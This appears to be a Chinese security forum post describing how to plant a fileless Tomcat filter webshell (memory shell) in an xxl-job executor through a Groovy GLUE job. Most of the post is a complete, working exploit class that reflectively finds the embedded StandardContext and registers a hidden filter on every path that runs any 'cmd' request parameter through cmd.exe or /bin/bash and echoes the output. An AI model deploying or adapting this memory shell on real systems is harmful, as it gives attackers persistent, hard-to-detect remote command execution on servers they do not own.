xxl-job-executor注入filter内存马
7rovu 发表于 江苏 历史精选 5223浏览 · 2024-01-27 21:54

前情

xxl-job分为:管理端xxl-job-admin、执行端xxl-job-executor。目前xxl-job打agent内存马要求管理端和执行端处于同一台主机上,实测如果不在同一台主机上,vagent注入是不成功的,因此针对端点分离的情况,构造了一个filter内存马供各位师傅参考。

适用情况

  1. 不出网
  2. xxl-job-admin和xxl-job-executor不在同一台主机(在同一台其实也能注,但不一定能访问到,最好是打 vagent 内存马)
  3. 本地搭建环境为xxl-job-2.3.0(tomcat9),其他版本尚未测试。

利用思路

在配置文件中有server.port和executor.port两种端口,executor.port的后端是一个netty服务,正常情况下应该研究netty memshell,小试了一手发现缺少必要依赖(可能是我太菜不会玩),于是思路转向server.port,通过浏览器访问8081端口返回 whitelable error page,虽然没懂这端口有啥用,但只要是tomcat就行,不妨碍我小注个filter。

# application.properties
# web port
server.port=8081

# xxl-job executor server-info
xxl.job.executor.port=9999

构造过程

熟悉Java的师傅应该对tomcat中的一些关键变量名有印象。简而言之,回显需要org.apache.coyote.Reuqest,三板斧(servlet/filter/listener)需要StandardContext。但很可惜,由于embedded-tomcat是无法使用通用payload获取StandardContext的(Java内存马:一种Tomcat全版本获取StandardContext的新方法),想要注filter只得自行构造exp。

刚开始准备用c0ny1师傅写的 java-object-searcher 一把梭,这玩意时灵时不灵,经常会卡在evaluating,不知道是idea版本的问题还是其他的原因?不过issue中也有其他师傅提了,或许大佬太忙没空改...

花了点时间才定位到bug,过程不说了,反正idea在执行表达式时,是不可以使用ArrayList作为函数进行传参的,传了必卡:

SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);

将构造函数做如下修改:

# 修改SearchRequstByBFS构造函数,SearchRequstByDFS同理
public SearchRequstByBFS构造函数,(Object target){
  this.target = target;
  //把当前的元素加入到队列尾
  q.offer(new NodeT.Builder().setChain("").setField_name("TargetObject").setField_object(target).build());
}

# 给SearchRequstByBFS添加一个函数addKey()
public void addKey(Keyword keyword){
  this.keys.add(keyword);
}

修改后的java-object-searcher打包导入java环境中,暴力检索Request:

//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread());
//设置搜索类型包含Request关键字的对象
searcher.addKey(new Keyword.Builder().setField_type("ServletRequest").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestGroup").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestInfo").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestGroupInfo").build());
searcher.addKey(new Keyword.Builder().setField_type("Request").build());
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\\temp");
searcher.searchObject();

第一次搜索深度设置的20,输出结果只有一条,并且和zema1师傅获取org.apache.coyote.Reuqest流程是一样的(zema1/ysoserial),由于9999端口是netty服务,无法打tomcat回显,唯一的作用就是找serverNameMB和decodedUriMB,也就是为后续的HashMap children提供key(这里不懂的可以看bitterz师傅的文章)。

手动翻到global时候,发现precessors居然为空??想了一下,xxl-job-executor本身通过9999端口做远程调用,如果8081端口从未被访问过,那么确实存在获取不到RequestInfo的情况:

只有手动访问8081后,precessors中才有RequestInfo,但此端口是whitelable error page啊,因此RequestInfo是无效的(serverPort为-1,serverNameMB也是null),不过应该不影响,无论是本地部署还是远程部署,默认都是StandardHost["localhost"].StandardContext[""],这里如果有错误的话麻烦大佬指正。

搜索深度设置50又查了一遍,这回有新结果了,下面的TomcatEmbeddedContext不就是StandardContext吗!如果不眼熟的话,下面还有个filterConfigs,美滋滋!

既然找到StandardContext后续就好办了,拿大佬的代码一顿复制粘贴,调试的过程中倒是花了点时间。最难受的是groovy的报错看的我莫名其妙,在后续执行过程中发现,虽然groovy支持java语法,但也并非完全一致,包括但不限于以下这些问题:

  1. xxl-job不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};new Class[]{String.class, int.class}这类数组常用语法(在EXP中使用ArrayList做替换)。

  1. 不支持内部类的写法,字符串中的this$0需要转义...

EXP

几经修改有了以下代码,虽然马子本身比较简单,但又是改java-object-searcher又是改语法,最终还是花了点时间才写完。

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public Object getSuperClassField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public void execute() throws Exception {
        Object obj = null;
        String port = "";
        String filterName = "xxl-job-filter";
        // 1.创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                HttpServletResponse resp = (HttpServletResponse) servletResponse;
                if (req.getParameter("cmd") != null) {
                    // 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
                    ArrayList<String> cmdList = new ArrayList<>();
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        cmdList.add("cmd.exe");
                        cmdList.add("/c");
                    } else {
                        cmdList.add("/bin/bash");
                        cmdList.add("-c");
                    }

                    cmdList.add(req.getParameter("cmd"));
                    String[] cmds = cmdList.toArray(new String[0]);

                    Process process = new ProcessBuilder(cmds).start();
                    InputStream inputStream = process.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
                    String line;
                    while ((line = reader.readLine()) != null) {
                        servletResponse.getWriter().println(line);
                    }
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {

            }
        };

        //2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());

        //3. 创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //4. 创建ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);

        //5. 找StandardContext
        /*获取group*/
        Thread currentThread = Thread.currentThread();
        Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup group = (ThreadGroup)groupField.get(currentThread);

        /*获取threads*/
        Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[])threadsField.get(group);

        for (Thread thread : threads) {
            String threadName = thread.getName();
            /*获取tomcat container*/
            if (threadName.contains("container")) {
                /*获取this$0*/
                obj = getField(thread, "this\$0");
                if (port == "") {
                    continue;
                } else {
                    break;
                }
            } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
                /*获取web端口,可在log中查看,默认8081端口*/
                port = threadName.substring(9, threadName.length() - 13);
                if (obj == null){
                    continue;
                } else {
                    break;
                }
            }
        }

        obj = getField(obj, "tomcat");
        obj = getField(obj, "server");
        org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");

        for (org.apache.catalina.Service service : services){
            try {
                obj = getField(service, "engine");
                if (obj != null) {
                    HashMap children = (HashMap)getSuperClassField(obj, "children");
                    // xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
                    obj = children.get("localhost");
                    children = (HashMap)getSuperClassField(obj, "children");

                    // 获取StandardContext
                    StandardContext standardContext = (StandardContext) children.get("");
                    standardContext.addFilterDef(filterDef);

                    // 将FilterDefs 添加到FilterConfig
                    Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");

                    // 添加ApplicationFilterConfig
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    filterConfigs.put(filterName,filterConfig);

                    //将自定义的filter放到最前边执行
                    standardContext.addFilterMapBefore(filterMap);

                    XxlJobHelper.log("success! memshell port:"+port);
                }
            } catch (Exception e){
                XxlJobHelper.log(e.toString());
                continue;
            }
        }
    }
}

log中会输出executor的web端口:

最后验证下马子(只能在executor下访问):

3 条评论
某人
表情
可输入 255
目录